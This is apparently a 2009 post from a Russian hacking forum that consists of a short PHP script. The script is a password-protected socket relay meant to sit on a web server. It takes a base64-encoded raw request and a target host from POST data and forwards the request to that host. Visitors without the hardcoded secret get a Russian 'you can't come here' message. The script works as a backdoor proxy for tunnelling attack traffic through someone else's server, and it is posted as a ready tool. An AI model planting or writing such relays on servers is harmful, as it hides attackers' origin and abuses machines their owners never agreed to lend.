
23.01.2009, 20:45
|
|
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
PHP код:
error_reporting(0);
$secret = 'sprank222';
if(isset($_POST['query']) && isset($_POST['host']))
{
if(isset($secret) && ($_POST['secret'] != $secret))exit;
@set_time_limit(0);
ob_implicit_flush(FALSE);
$lasos = $_POST['query'];
$query = base64_decode(str_replace(" ", "+", $lasos));
list($host, $port) = explode(':', base64_decode(str_replace(" ", "+", $_POST['host'])));
if(!$port)$port = 80;
if($host == ($ip = gethostbyname($host)))exit;
if($fp = fsockopen($ip, $port))
{
fwrite($fp, $query);
while(!feof($fp))
{
$answer = fread($fp, 128);
echo $answer;
}
fclose($fp);
}
exit;
}
else { echo "Тебе сюда нельзя."; }
|
|
|